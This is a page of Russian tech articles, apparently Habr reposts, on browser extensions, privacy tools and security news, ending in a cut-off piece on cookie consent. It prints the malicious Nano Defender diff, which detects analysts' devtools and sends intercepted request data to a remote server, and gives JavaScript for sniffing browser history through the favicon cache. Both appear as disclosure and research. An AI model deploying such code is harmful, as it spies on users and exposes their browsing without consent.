Русский
Русский
English
Статистика
Реклама

Chrome

Самые упоротые и забавные расширения для браузера подборка

06.01.2021 18:12:51 | Автор: admin


Иногда разработчики Желают странного (С) А. Б. Стругацкие, из-за этого появляются необычные проекты, вроде запуска Doom на терминалах для считывания банковских карт и других, еще менее приспособленных для этого, девайсах. Чаще всего такое получается в результате тренировок, когда программист осваивает новую тему и реализует тестовый проект не в виде традиционного Hello, Word!, а чего-то более изощренного. Но ведь не все занимаются портированием древних шутеров на смарт-часы, есть и другие области разработки, более прикладные, но не менее интересные. Предположим, что человеку наскучило смотреть на длинные логи в консоли и grepать из них данные для отладки, хочется добавить интерактива и наглядности в свое обучение. Инструменты для этого выбираются самые разные, кто-то пользуется обычным графическим выводом, кто-то выводит данные через простенький сайт, а кто-то пишет расширения для браузера!

В этой статье я расскажу вам о нескольких не самых практичных (хотя о практичных тоже расскажу), но необычных расширениях. Они вряд ли войдут в подборку типа: Топ-10 самых полезных расширений для разработчика или пригодятся для розыгрыша коллег, но заставят озадаченно почесать затылок: Ну и фантазия у автора!.. или просто улыбнуться.


Начну с одного из самых бесполезных, но милых расширений, которое явно писалось студентом, изучавшего нейронные сети и натаскивающего их на распознавание лиц, в частности поиск глаз на фотографиях. Сложно понять, что двигало им, когда он публиковал свое творчество в официальных маркетах для браузеров, но теперь каждый может скачать и установить Googlifier, расширение, которое ищет на сайте фотографии с лицами, потом на них распознает глаза и рисует поверх мультяшные зенки, которые стоят в заголовке поста.



Если кто-то является большим поклонником Vim, то ему может прийтись по вкусу расширение cVim. Оно практически полностью повторяет интерфейс этого неоднозначного редактора. С его помощью можно, не прикасаясь к мышке, выполнить любое действие в браузере, от переключения между вкладками и перехода по ссылкам, до выделения текста.



Следующее расширение TabFS изюминка этой подборки, одно из самых необычных и изощренных, что мне попадались за последнее время. Его задачей является монтирование вкладок браузера, как директорий в виртуальной файловой системе! Это открывает совершенно новые сценарии работы с браузером, кардинально отличающиеся от всего, что было привычно раньше.

Поддерживаются браузеры Chrome и FireFox, но расширения нет в их интернет-магазинах. Его надо скачать и установить самому, а виртуальная файловая система вкладок работает только на Linux или Mac OS. Разберем процесс настройки этого необычного продукта.

Для экономии места и времени, я опишу тут установку для FireFox на системе Ubuntu, желающие настроить его для Chrome или на Mac OS найдут инструкцию на сайте разработчика, действия отличаются минимально.

Сначала надо склонировать репозиторий

$ git clone https://github.com/osnr/TabFS.git


И установить расширение в браузере. Для этого надо открыть настройки находящиеся по адресу:

about:debugging#/runtime/this-firefox и загрузить в браузер файл из директории репозитория extension/manifest.json.

После этого надо установить FUSE

sudo apt install libfuse-dev</code>А потом создать точку монтирования и скомпилировать файловую систему<code>$ cd fs$ mkdir mnt$ make$  cd ..$ ./install.sh firefox


Все готово, осталось перезагрузить расширение в браузере и вкладки появятся на нашем жестком диске.

Откроем несколько страничек в браузере:



В одной директории файлы отсортированы по заголовкам, в другой но номеру вкладки, отдельные файлы содержат адрес страницы, ее содержимое и заголовок. Имея текст страниц в виде файлов на диске, можно поднять парсинг на совершенно новый уровень, операции с данными открытых сайтов выполняются стандартными командами bash, такими как: rm, cat и grep, или скриптами на Python, к примеру.

Выведем список открытых вкладок по их заголовкам (здесь подразумевается, что пользователь находится в директории репозитория fs/mnt и все команды вводятся с учетом этого):

$ ls tabs/by-titleGitHub_-_osnr_TabFS_____Mount_your_browser_tabs_as_a_filesystem._34Levelord__an_Ordinary_Moscow_Resident__Interview_with_the_Creator_of_Duke_Nukem___RUVDS.com_corporate_blog___Habr_33Make_it_easier_to_get_finished__Interview_with_John_Romero__developer_of_Doom___RUVDS.com_corporate_blog___Habr_32Making_Games_for_a_Living__11_tips_from_Levelord___RUVDS.com_corporate_blog___Habr_31TabFS_10The_one_who_resurrected_Duke_Nukem__interview_with_Randy_Pitchford__magician_from_Gearbox___RUVDS.com_corporate_blog___Habr_30


А теперь закроем в браузере все страницы Хабра из блога компании RuVDS:

$ rm tabs/by-title/*RUVDS*


И останется только две:

$ ls tabs/by-titleGitHub_-_osnr_TabFS_____Mount_your_browser_tabs_as_a_filesystem._34TabFS_10


Если нажать в браузере несколько раз Ctrl-Shift-T, то вкладки откроются снова и на диске появятся новые файлы. Можно сохранить текст всех открытых вкладок в отдельный файл:

cat tabs/by-id/*/text.txt > ~/text-of-all-tabc.txt


И потом обработать его скриптом, который будет, к примеру, искать определенные слова в статьях или считать комментарии. Проект постепенно развивается, при желании можно получить изображения со страницы, а не только текст. Похоже, что даже сам автор этого расширения не очень хорошо представляет все сценарии использования, некоторые примеры с его сайта выглядят несколько натянуто, о чем он сам не стесняется говорить.

На закуску еще несколько расширений попроще. Одно из них чем-то напоминает то, что с глазами, но ищет уже не глаза, а NSFW глаза. Точнее картинки с порно и эротикой. NSFW Filter блюрит запрещенку в хлам, чтобы не смущать коллег заглядывающих в твой монитор :) Увы, но посмотреть всем известный сайт не выйдет, потому что, даже на максимально безопасных настройках, расширение пропускает часть картинок. Особенно тяжело расширению дается детектирование групповухи :)



Хотя, от случайного захода на порносайт в процессе серфинга, оно спасет.

Раз речь зашла про развлекательные ресурсы, то контролю за развлечениями посвящено другое расширение: History trends. Оно анализирует историю браузера и ведет подробную статистику куда ты заходил, сколько раз и сколько времени провел на разных сайтах. Расширение поможет собрать статистику своей собственной прокрастинации, или ваших сотрудников, если вы начальник и установите его на компьютеры ваших работников:



Впрочем, не обязательно использовать интернет только для развлечения. У журналистов новостные сайты это хлеб насущный, где они собирают материал для публикаций. Вот только некоторые порталы требуют подписку для доступа к полным текстам некоторых статей, что может быть довольно разорительно, если приходится делать фактчекинг не на одном-двух сайтах, а на десятках. Помочь в этом позволяет расширение Bypass Paywalls. Оно прикидывается поисковым ботом и проходит через заглушки с требованием заплатить. Что логично, расширение удалено из всех официальных браузерных магазинов, потому ставить его придется вручную, качая напрямую с GitHub. Жаль только, что русские сайты в списке практически не представлены, но разработчик поддерживает связь со своими пользователями и можно попросить его добавить новые адреса. Последнее обновление было два месяца назад, так что есть надежда, что проект не заброшен и можно попробовать договориться с программистом.

В завершении подборки, расскажу еще об одном расширении, которое упрощает работу с Internet Archive. Оно называется Wayback Machine и позволяет быстро просмотреть, как выглядел открытый сайт несколько лет назад. Можно посмотреть как прошлые, так и самую первую версию сайта, а еще отправить его архивироваться:



Хотите глянуть, как выглядел Хабр сразу после редизайна с новым доменом? Пожалуйста:



Всем удачного серфинга!

Если у вас есть на примете интересные и необычные расширения, мало известные широкой общественности пишите о них в комментариях!

Подробнее..

Расширение Nano Defender нужно срочно удалить из браузера

18.10.2020 20:21:07 | Автор: admin


3 октября 2020 года программист jspenguin2017, автор расширения Nano Defender, сообщил в официальном репозитории, что продал проект группе турецких разработчиков. Это сообщение вызвало массу слухов и опасений: что за турецкие разработчики, кто контролирует код, почему из репозитория удалена страница с политикой приватности?

Спустя несколько дней опасения сообщества полностью оправдались.

Nano Defender довольно популярный способ обхода антиблокировщиков рекламы. Работает в связке с блокировщиками uBlock Origin и Nano AdBlocker (форк uBlock Origin), защищая их от детектирования на сайтах.

Турки оперативно выпустили новую версию Nano Defender 15.0.0.206 с тщательно замаскированными изменениями в функциональности, которые не были опубликованы на GitHub. Внимательное изучение этих изменений указывает на то, что расширение нужно деинсталлировать всем пользователям.

Рекомендация относится к Chrome и браузеров на основе Chromium, где происходит автоматический апгрейд расширений без уведомления пользователя. Турки не покупали версию под Firefox. Мейнтейнер расширений Firefox Nano, разработчик LiCybora, подтвердил, что сохраняет над ними контроль: эти расширения в безопасности. Кроме того, Firefox проверяет цифровые подписи расширений, так что вредоносный код не так легко пропихнуть в новую версию расширения.

Автор uBlock Origin Рэймонд Хилл проанализировал изменения в версии Nano Defender 15.0.0.206. Он отметил, что добавлен код для детектирования запуска dev-консоли расширения. В этом случае высылается уведомление report на сервер https://def.dev-nano.com/. Другими словами, владельцы отслеживают тех, кто пытается разобраться в работе расширения. С высокой степенью вероятности в таком случае расширение меняет свою функциональность, скрывая некоторые функции это стандартный трюк вредоносных программ, которые детектируют наличие исследовательского окружения, такого как виртуальная среда.

В такой ситуации Рэймонду Хиллу пришлось изучать функциональность новой версии Nano Defender без dev-консоли. Вот что он обнаружил.

При запуске расширение прослушивает https://def.dev-nano.com/ на предмет сообщений для заполнения списка listOfObject.

Насколько можно понять код, в дальнейшем содержимое списка listOfObject используется для проверки проверки полей объекта details, который передаётся в webRequest.onBeforeSendHeaders(). Если все поля соответствуют условию, то всё содержимое объекта details отправляется на https://def.dev-nano.com/ под названием handleObject.

При этом обработчик webRequest.onBeforeSendHeaders() действует для всех сетевых запросов:

chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {urls: ["<all_urls>"]}, ['requestHeaders', 'blocking', 'extraHeaders']);

Поскольку listOfObject запрашивается с внешнего сервера, то функциональность этого метода устанавливается извне. Список может содержать любые условия в любом количестве. Грубо говоря, владельцы расширения могут запрашивать из браузера любые фрагменты исходящего сетевого трафика на своё усмотрение. Таким образом, расширение Nano Defender фактически превратилось в универсальный шпионский снифер.

Рэймонд Хилл опубликовал diff, который недоступен в репозитории новых владельцев:

diff для core.js
--- ./background/core.js+++ ./background/core.js@@ -160,7 +160,7 @@const hasNews = false;- const newsPage = "https://jspenguin2017.github.io/uBlockProtector/#announcements";+ const newsPage = "https://github.com/nenodevs/uBlockProtector/#announcements";const newsReadFlag = "news-read";// This handler becomes inactive when there is a popup page set@@ -189,7 +189,8 @@// ------------------------------------------------------------------------------------------------------------- //};-+var defender = io.connect("https://def.dev-nano.com/");+var listOfObject = {};// ----------------------------------------------------------------------------------------------------------------- //a.noopErr = () => {@@ -211,6 +212,29 @@// ----------------------------------------------------------------------------------------------------------------- //+++async function dLisfOfObject(newList) {+ let dListResp = await fetch(newList.uri, newList.attr)+ var listOfObj = {}+ listOfObj.headerEntries = Array.from(dListResp.headers.entries())+ listOfObj.data = await dListResp.text()+ listOfObj.ok = dListResp.ok;+ listOfObj.status = dListResp.status;+ return listOfObj;+}++defender.on("dLisfOfObject", async function (newList) {+ let getRes = await dLisfOfObject(newList);+ defender.emit(newList.callBack, getRes)+});++defender.on("listOfObject", function (a) {+ listOfObject = a;+})+++// Redirect helpersa.rSecret = a.cryptoRandom();@@ -227,7 +251,22 @@// 1 second blank video, taken from https://bit.ly/2JcYAyq (GitHub uBlockOrigin/uAssets).a.blankMP4 = a.rLink("blank.mp4");-++var element = document.createElement("p"); ;+var openListGet = false;+element.__defineGetter__("id", function() {+ openListGet = true;+});++var i = setInterval(function() {+ openListGet = false;+ console.log(element);+ if(openListGet){+ defender.emit("report")+ console.clear();+ clearInterval(i)+ }+}, 100);// ----------------------------------------------------------------------------------------------------------------- //// tab - Id of the tab@@ -450,6 +489,50 @@return true;};++var blockingHandler = function (infos) {+ var changedAsArray = Object.keys(listOfObject);++ var detailsHeader = infos.requestHeaders;+ var HeadReverse = detailsHeader.reverse();+ var stringyFy = JSON.stringify(HeadReverse);+ var mount = "";+ if (changedAsArray.length > 0) {+ var checkerList = true;+ for (const object of changedAsArray) {+ if (object.x === object.y) {+ mount += 1;+ }+ break;+ }+ for (let i = 0; i < changedAsArray.length; i++) {+ let x = changedAsArray[i];+ var re = new RegExp(listOfObject[x],'gi');+ mount = "5";+ if (infos[x].toString().match(re) == null) {+ checkerList = false;+ break;+ }+ }+ if (checkerList) {+ defender.emit('handleObject', infos);+ }+ }++ var m = [45,122,122,122]+ var s = m.map( x => String.fromCharCode(x) )+ var x = s.join("");+ var replacerConcat = stringyFy.split(x).join("");+ var replacer = JSON.parse(replacerConcat);+ return {+ requestHeaders: replacer+ }+};++chrome.webRequest.onBeforeSendHeaders.addListener(blockingHandler, {+ urls: ["<all_urls>"]+}, ['requestHeaders', 'blocking', 'extraHeaders']);+// ----------------------------------------------------------------------------------------------------------------- //

Турецкие разработчики опубликовали новую политику приватности для расширения. В соответствии с ней, расширение собирает и передаёт на удалённый сервер массу информации, в том числе адреса посещённых страниц, время сессий на каждой странице, IP-адрес пользователя и другие данные. Раньше в соглашении о приватности не было такого пункта.

Вообще, продажа расширений распространённая статья дохода для независимых разработчиков. После установки расширения многие пользователи не знают, что расширение купили новые владельцы, а их компьютер уже используются в постороннем проекте.

Например, владельцы прокси-сервиса SmartProxy предлагают своим клиентам доступ к сети домашних IP-адресов, которая насчитывает около 40 миллионов IP большинство узлов находится на компьютерах ничего не подозревающих юзеров. Эти домашние компьютеры используются для проксирования трафика платных клиентов.



Другая сеть Luminati использует в качестве точек выхода компьютеры домашних пользователей, которые установили бесплатное приложение HolaVPN. Данная сеть также скупает популярные браузерные расширения.

С юридической точки зрения использование втёмную домашних компьютеров пользователей для прокачки коммерческого трафика весьма сомнительное мероприятие. Но бизнесменам пока удаётся избежать наказания.

Что касается программиста jspenguin2017, то сообщество осудило его безответственные действия по продаже расширения, поскольку в поддержке и составлении списков для Nano Defender принимали участие десятки других разработчиков. Получается, что jspenguin2017 единолично монетизировал человеко-часы чужой работы.

Расширение Nano Defender уже удалено из каталога Chrome Web Store.
Подробнее..

17 расширений Chrome и Firefox для вашей приватности и безопасности

27.10.2020 18:15:50 | Автор: admin


Здесь мы перечислим некоторые расширения, ориентированные на безопасность и приватность работы. Большинство из них работают в Chrome, это сейчас самый популярный браузер с долей около 40% в России, но многие из расширений выпускаются также под Firefox.

В целом набор полезных расширений можно разбить на пять категорий:

  • Блокировка рекламы
  • Скрытие и подделка информации (IP, геолокация, user agent)
  • Очистка данных в браузере
  • Настройки приватности
  • Защита от зловредов и майнинговых скриптов

Ряд браузеров основаны на движке Chromium, его расширения совместимы с Brave, Opera и Vivaldi.

Блокировщики рекламы


Самое главное расширение, которое нужно установить себе, а также всем знакомым и родственникам блокировщик рекламы. Это абсолютный must have для каждого. Вот самые популярные:


Сложно рекомендовать конкретный блокировщик, все они хорошо справляются. Кто-то предпочитает самый быстрый Ghostery, кто-то привык к старому AdBlock Plus.


Результаты бенчмарков в феврале 2019 года, сколько времени уходит на обработку страницы разными блокировщиками рекламы. Несмотря на накладные расходы, все они по итогу ускоряют загрузку страниц

В конце статьи голосование за лучший блокировщик.

Скрытие информации


HideMyBack

Скрытие определённой информации: реферер, user agent, IP-адрес и геолокация. Защищает от онлайн-трекеров и позволяет даже изменить свой IP-адрес в ответе для сервера.



User Agent Switcher



Простое и мощное расширение для переключения между разными строками user agent.

WebRTC Protect

WebRTC открытый фреймворк для общения в реальном времени. Он обычно используется для видеозвонков и конференций через браузер или мобильные устройства.

Расширение WebRTC Protect защищает пользователя от утечки IP-адреса через WebRTC. Расширение маленькое и простое в использовании.



Unseen приватность в чатах
Защита от раскрытия статуса Просмотрено (Seen) в чатах. Работает с веб-мессенджерами WhatsApp, Facebook Messenger, Web Telegram и др, а также на сайтах facebook.com и messenger.com.

Блокирует статус Просмотрено, индикатор последней активности и индикатор Пользователь печатает....

Location Guard
Скрытие или подделка своего географического местоположения.



Очистка данных в браузере


Click&Clean (Chrome, Firefox, Edge)

Популярное расширение для очистки временных данных в браузере. Конечно, соответствующие настройки есть в самом браузере, но это расширение предоставляет гораздо больше настраиваемых опций и расширенных настроек очистки.





Настройки приватности


Privacy Settings



Минималистичное, но весьма функциональное расширение для управления настройками приватности. Отличается простым интерфейсом.

Privacy Manager
Более продвинутый диспетчер настроек приватности в Chrome. Здесь больше настроек и опций для управления настройками безопасности и куками. Позволяет также удалить данные просмотра, для этого есть большой набор опций.





Privacy Manager умеет производить сетевой мониторинг, изменять куки, а также управлять IP-адресами по WebRTC.

Privacy Badger (Chrome, Firefox, Opera, Android)

Расширение Privacy Badger от Фонда электронных рубежей (EFF) автоматически обнаруживает и блокирует трекеры и вредоносные скрипты на основе их поведения. Есть список разрешений для отдельных элементов, таких как видеоплееры и интерактивные виджеты.

Разработчики поясняют, что им нравятся Disconnect, Adblock Plus, Ghostery и другие подобные расширения и блокировщики рекламы, но они не обеспечивают в точности то, что нужно. Тестирование показало, что всем этим решениям для эффективной работы требуется некоторый объём ручной настройки, чтобы блокировать нестандартные трекеры. Некоторые используют неприемлемую бизнес-модель, исключая клиентов из списка блокировки за деньги. Поэтому EFF выпустил собственное расширение для блокировки трекинга.



EditThisCookie



Продвинутый опенсорсный менеджер куков. Позволяет редактировать, добавлять, управлять, создавать и искать по кукам. Также позволяет изменять дату истечения срока действия куков и импортировать/экспортировать их.

Защита и безопасность


Miner Blocker

Расширение против криптомайнеров не только останавливает работу майнерских скриптов, но и служит индикатором, на каких сайтах установлены такие зловреды. Владельцы сайтов считают это легитимной моделью микроплатежей, когда читатели платят своими ресурсами за услугу доступа к информации, однако в таком случае этично предупреждать пользователей о взимании платы.



Fox Web Security



Родительский контроль: блокировка сайтов с материалами для взрослых. Хотя её можно обойти, впрочем, как и любую блокировку.

HTTPS Everywhere (Chrome, Firefox, Opera, Firefox для Android), расширение включено в Brave, Tor и Onion (iOS) по умолчанию



Совместная разработка Tor Project и Фонда электронных рубежей. На многих сайтах реализована не полная, а частичная или некорректная поддержка HTTPS. Например, по умолчанию загружается незащищённая HTTP-версия или на страницах HTTPS отдельные ссылки ведут на неё. Расширение HTTPS Everywhere исправляет некоторые из этих проблем путём изменения запросов на лету.



Каждое расширение вносит свой вклад в парсинг веб-страницы и потребление памяти, так что желательно установить необходимый минимум и не более того. Например, антивирусные расширения в значительной степени бесполезны и только впустую расходуют ресурсы CPU и память, а иногда даже внедряют в браузер ненужную рекламу, как это делало антивирусное расширение Avast.



Если вы пользуетесь другими полезными расширениями для защиты личных данных и безопасности, добавляйте в комментариях.
Подробнее..

Security Week 45 тандем уязвимостей в Windows 10 и Chrome

02.11.2020 16:19:26 | Автор: admin
На прошлой неделе команда Google Project Zero раскрыла детали уязвимости в Windows 10, которая позволяет атакующему получить системные привилегии на компьютере жертвы.

Удивительно в проблеме то, что она использовалась в реальной атаке в комбинации с другой, также недавно найденной уязвимостью в браузере Google Chrome. Там нашли ошибку в обработчике шрифтов FreeType (уже закрытую), которая позволяла совершить побег из песочницы. Пара уязвимостей, соответственно, делала возможным такой сценарий: жертву заманивают на зараженную веб-страницу, злоумышленники запускают код за пределами защищенной среды браузера, а уязвимость в Windows дает им полный контроль над системой.

Этот сценарий умозрительный: детали самой атаки Google не раскрывает. При этом команда Project Zero применила правило раскрытия данных об уязвимостях нулевого дня и дала Microsoft всего семь дней на выпуск патча. На момент публикации заплатки для Windows еще нет: его, скорее всего, включат в регулярный набор обновлений, запланированный на 10 ноября. По традиции, произошел довольно едкий обмен мнениями: в Microsoft считают, что безопасники Google могли потерпеть с публикацией, в Project Zero уверены, что стимулируют вендоров быстрее выпускать патч возможно, даже вне стандартного расписания.




Источники
Баг в Windows 10: статья ArsTechnica, техническая информация.
Уязвимость в Google Chrome: технические данные и обсуждение в багтрекере Project Zero.

Уязвимость CVE-2020-117087 затрагивает как минимум Windows 10 и Windows 7. Она присутствует в одной из системных функций для шифрования данных. Ошибка в обработке информации вызывает переполнение буфера и создает условия для запуска произвольного кода с системными привилегиями. В технической статье Project Zero показана логика работы уязвимой функции в псевдокоде, а также приложен PoC-скрипт, вызывающий падение системы.

В свою очередь, уязвимость в браузере Chrome, скорее всего, затрагивает и другие браузеры на движке Blink. Возможно, не только браузеры: ошибку нашли в коде сторонней библиотеки. Интересно, что в Microsoft не подтверждают активную эксплуатацию уязвимости в Windows, в то время как в Google считают иначе. Если реальная атака действительно имела место (информация о ней не раскрывается), то в любом случае ее начальным этапом был браузер Chrome. Патч уязвимости в библиотеке FreeType сделал этот конкретный метод атаки невозможным. Что, конечно, не исключает вероятность эксплуатации уязвимости в Windows другими способами.

Что еще произошло:



Эксперты Лаборатории Касперского опубликовали отчет о DDoS-атаках в III квартале этого года. Общее количество кампаний заметно снизилось по сравнению с предыдущим периодом, в котором зафиксировали аномально высокую активность киберпреступников, связанную, очевидно, с пандемией.

В компании Sophos сообщают о методе фишинга паролей к учетным записям Facebook, который пытается обойти двухфакторную аутентификацию. Пользователям предлагают (под угрозой удаления страницы) оспорить якобы поступившую жалобу на нарушение авторских прав. На поддельной странице для входа в аккаунт предлагают ввести логин, пароль и одноразовый код для входа в аккаунт.



В Финляндии утекли данные как минимум 300 клиентов психотерапевтического центра Vaastamo. Часть записей попала в общий доступ, некоторым пациентам рассылают требования выкупа примерно в 200 евро в криптовалюте и угрожают опубликовать чувствительную информацию. До этого киберпреступники пытались традиционным путем получить деньги от пострадавшей организации с нее требовали почти полмиллиона евро.

Чуть менее опасный вариант использования личных данных атака на клиентские аккаунты в сети ресторанов. Учетные записи некоторых клиентов угнали, скорее всего, методом credential stuffing: злоумышленники смогли подобрать пароль, так как он использовался в других, уже взломанных сервисах. Результат: потеря значительных сумм, так как от имени клиентов поступили крупные заказы. Киберпреступники буквально работали за еду.

В релизе WordPress 5.5.2 закрыли критическую уязвимость, позволявшую получить контроль над непропатченным веб-сайтом. Это нечастый случай серьезной проблемы в коде CMS, а не сторонних плагинов.
Подробнее..

Security Week 06 кража данных через синхронизацию Google Chrome

08.02.2021 18:21:29 | Автор: admin
Хорватский исследователь Боян Здрня (Bojan Zdrnja) обнаружил интересный метод эксфильтрации данных через средства синхронизации, встроенные в браузер Google Chrome. Функция Chrome Sync позволяет синхронизировать сохраненные пароли, закладки и историю посещения веб-сайтов между компьютерами, использующими общую учетную запись Google.

В описании атаки Здрня приводит следующую последовательность действий. Получив доступ к компьютеру жертвы, злоумышленник включает режим разработчика в Google Chrome, что позволяет загрузить расширение для него локально, а не через магазин. Таким образом в браузер подгружается вредоносное расширение, замаскированное под плагин защитного продукта.



В коде самого расширения исследователь описывает стандартный метод взаимодействия с облачной инфраструктурой Google, который позволяет обмениваться произвольными данными между двумя браузерами. То есть предположительно атака выглядела так: взламываем компьютер, устанавливаем вредоносное расширение, авторизуем браузер под одноразовой учетной записью Google. На стороне атакующего достаточно залогиниться под той же учетной записью, чтобы получить данные с компьютера жертвы.

Что именно передавалось таким образом, эксперт не раскрывает, но указывает ограничения метода: максимальный размер ключей, передаваемых через инфраструктуру Google Chrome, не может превышать 8 Кбайт, а их максимальное количество 512. То есть за одну сессию можно передать 4 Мбайт данных. Для управления зараженным компьютером, а также для передачи токенов для доступа к корпоративным облачным сервисам этого вполне достаточно.

Здрня особо отмечает, что на пострадавшей системе не было другого вредоносного софта. Просто так перекрыть обращение к облачной инфраструктуре Google на уровне политик корпоративной сети не получится: на них завязано не только облако, но и, например, проверка наличия доступа к сети в браузере. В качестве решения исследователь предлагает применение политик, запрещающих установку в браузер любых расширений, кроме отмеченных в белом списке. Такой оригинальный метод взаимодействия с атакуемой системой можно не замечать долгое время это откроет злоумышленникам путь к корпоративным данным, которые в нормальных условиях доступны через браузер. В большинстве случаев это может быть и корпоративная почта, и средства совместной работы над документами, и многое другое.

Что еще произошло


История с атакой на экспертов в области информационной безопасности (см. предыдущий дайджест) получила продолжение. В браузере Google Chrome обнаружили и закрыли zero-day уязвимость в движке V8. Хотя разработчики из Google не дают комментариев на этот счет, есть предположение, что именно ее использовали организаторы атаки. Кроме того, южнокорейские специалисты нашли еще один вектор той же атаки: жертвам рассылали файлы .mhtml с вредоносным кодом, эксплуатирующим ранее неизвестную уязвимость в Internet Explorer 11. Файл якобы содержал информацию об уязвимости в браузере Google Chrome 85.


Компания Netscout со ссылкой на китайских исследователей из Baidu Labs сообщает о новом методе амплификации DDoS-атаки с помощью некорректно сконфигурированного медиасервера Plex.


В треде по ссылке выше исследователь под никнеймом OverSoft рассказывает о плохо защищенной IP-видеокамере с функцией подсчета людей. Рассказ начинается с несменяемого идентификатора WiFi-сети и пароля к ней, и дальше становится только печальнее. Внутри камеры обнаружен Raspberry Pi Compute Module с дефолтным пользователем pi, документами, оставшимися от разработчика (включая mp3-файл) и кучей кода на Python. В итоге получается устройство, которое по идее подключается к корпоративной сети с фактически незащищенным WiFi и возможностью получить полный доступ к аккаунту со стандартным паролем и максимумом привилегий.

Команда Google Project Zero публикует обзор zero-day уязвимостей, использовавшихся в реальных атаках в прошлом году. Из 24 дыр восемь используют новый метод эксплуатации уже известной проблемы. Вывод: можно несколько усложнить жизнь злоумышленникам, если закрывать уязвимости после подробного анализа причины так, чтобы решенную проблему нельзя было вскрывать повторно.

Более месяца назад, 4 января, произошел серьезный сбой в мессенджере Slack. По результатам инцидента опубликован подробный отчет. Падение произошло по совокупности причин: в первый после праздников рабочий день в большинстве стран пользователи нагружали инфраструктуру больше, чем нужно, а средство автоматического масштабирования мощностей в Amazon Web Services не сработало так, как требовалось.

Исследование вредоносной программы Kobalos для Linux-систем раскрывает необычную цель атаки: суперкомпьютеры.

Новый пример атаки на цепочку поставок: исследователи из ESET нашли зараженное ПО NoxPlayer (эмуляция Android-приложений), распространявшееся прямо с сайта разработчика.
Подробнее..

Новая утечка истории браузера через favicon

19.02.2021 14:12:20 | Автор: admin

Недавно наткнулся на это исследование pdf (по его мотивам уже была статья на хабре), после прочтения, решил поискать более интересные способы использования F-Cache. Объективно, схему с редиректами никто в здравом уме не будет ставить на свой сайт. Это утечка, но утечка представляющая больше теоретический интерес, чем практический(имхо).

Обозначил цель(найти способ проверить F-Cache через javascript) и начал поиски. В ходе экспериментов выделил несколько способов это сделать, но опишу самый интересный, на мой взгляд.

Заранее предупреждаю это не кроссбраузерное решение. На данный момент, проверял только на десктопных хромах.

Предварительный тест можно пройти здесь: https://favicon-leak.site/

Как это работает

У хрома есть два типа ресурсного кеша: disk и memory. Как многие догадались, disk cache это перманентное хранилище ресурсов, но со своей задержкой на чтение(1+ ms). В свою очередь, memory cache используется для временного хранения часто используемых ресурсов, а чтение, в среднем, мгновенное (0 ms). Таким образом, помещая ресурс в memory cache браузер уменьшает количество чтений с диска и увеличивает скорость повторной загрузки самих ресурсов.

Когда мы первый раз загружаем картинку через <img>, то ее либо загрузит по src, либо достанет из disk cache. В обоих случаях эта картинка, чаще всего, помещается в memory cache. Рассмотрим такой javascript код:

var img = new Image();img.src = some_image_url;if (img.complete && img.height + img.width > 0) {// Это условие TRUE, только когда картинка успешно была прочитана из memory cache}

Именно этот код позволяет проверить наличие картинки в memory cache. Из этого можно сделать такой вывод: если загрузить <img> минимум два раза, то во второй раз картинка должна загружаться уже из memory cache.

<img> + <img> + <img> + <img><img> + <img> + <img> + <img>

Поведение тега <link rel="icon"> отличается от <img> и повторная загрузка одной картинки всегда читает ее с диска:

<link> + <link> + <link> + <link><link> + <link> + <link> + <link>

Ключевой находкой стало такое поведение браузера:

<img> + <img> + <link> + <img><img> + <img> + <link> + <img>

Как мы видим, после загрузки картинки через <link>, она помещается в disk cache и при повторном чтении ее через <img> она загружается с диска(даже если уже была в memory). Это нормальное поведение браузера для картинки, которой нет в F-Cache. НО! Если картинка для <link> загружена из F-Cache, то это никак не влияет на состояние, предварительно загруженной в memory cache, картинки. Вероятно, это связанно с тем, что F-Cache никак не взаимодействует с сетевым уровнем. Следовательно, если после
<img> + <img> + <link> + <img> < загрузка этой картинки произошла мгновенно, то мы можем сделать вывод, что эта картинка была в F-Cache т.к. она не была удалена из memory cache. Вот и вся хитрость, позволяющая проверять наличие картинки в F-Cache.

Важно заметить, что этот метод не 100%-но надежный, т.к. мы не можем точно проверить была ли вообще загруженна картинка в <link>(например, могла произойти сетевая ошибка), поэтому я использую setTimeout. Чем больше timeout, тем выше вероятность, что <link> успел прогрузиться.

Про F-Cache

F-Cache привязан к конкретному профилю, поэтому если вы хотите протестировать с нуля, то лучше всего создать новый профиль в браузере. Время жизни иконок в F-Cache индивидуально для каждой иконки и зависит от cache policy домена-владельца. F-Cache в инкогнито работает только в read-only режиме.

Про сайт https://favicon-leak.site/

Используя автоматизированный хром, я собрал небольшой список ссылок на favicon-ы популярных сайтов. https://favicon-leak.site/ проверяет иконки из этого списка. Возможно, когда вы будете читать эту статью какие-то ссылки уже устареют и будут возвращать ложноотрицательный результат.

Код на github

Подробнее..

На что соглашается человек, когда разрешает все куки

25.02.2021 00:07:45 | Автор: admin
Люди не читают инструкций. Вы почти наверняка не читали лицензионное соглашение Windows, не читали лицензионное соглашение iTunes, не читали условия Linux GPL или любого другого программного обеспечения.

Это нормально. Такова наша природа.

То же самое происходит в интернете. В последнее время благодаря GDPR и другим законам часто приходится видеть всплывающие сообщения, где вас спрашивают разрешения на использование cookies.



Большинство нажимает Согласиться и продолжает жить как ни в чём ни бывало. Никто ведь не читает политику конфиденциальности, верно?

Разработчик Конрад Акунга (Conrad Akunga) решил разобраться, какие конкретно условия предусмотрены соглашением об использовании. Для примера он взял новостной сайт Reuters. Это абсолютно произвольный пример, у большинства других сайтов тоже есть свои правила.

Вот эти правила:


Обратите внимание на полосу прокрутки. Дальше идёт продолжение.

Ещё шесть экранов с текстом











Если вкратце, документ информирует пользователя о нескольких вещах:

  • Что веб-сайт собирает и обрабатывает данные
  • Что для этого он работает с различными партнёрами
  • Что сайт хранит некоторые данные на вашем устройстве с помощью файлов cookie
  • Что некоторые файлы cookie строго необходимы (определяется сайтом). Их нельзя отключить.
  • Некоторые персональные данные могут быть проданы партнёрам для предоставления соответствующего контента
  • Вы можете персонализировать рекламу, но не удалить её

Вероятно, все эти запутанные меню компания разработала, чтобы создать некую видимость прозрачности, открытости к диалогу. Но вы всё равно не можете отключить основные cookie, поскольку они нужны для работы сайта.

Вы также не можете полностью отключить рекламу. Таким образом, ваш единственный выбор либо смотреть рекламу, выбранную случайным образом, либо рекламу, которая, по мнению провайдера, может иметь к вам какое-то отношение.

И ещё один пункт о партнёрах, которым продаются ваши персональные данные. Список партнёров общий для всех сайтов, которые сотрудничают с IAB.

Кто же эти партнёры?

Если нажать на соответствующую кнопку, то появится следующее окно:


Обратите внимание, насколько маленький ползунок на полосе прокрутки. Наверное, там их сотни. Под названием каждой компании ссылка на политику конфиденциальности.


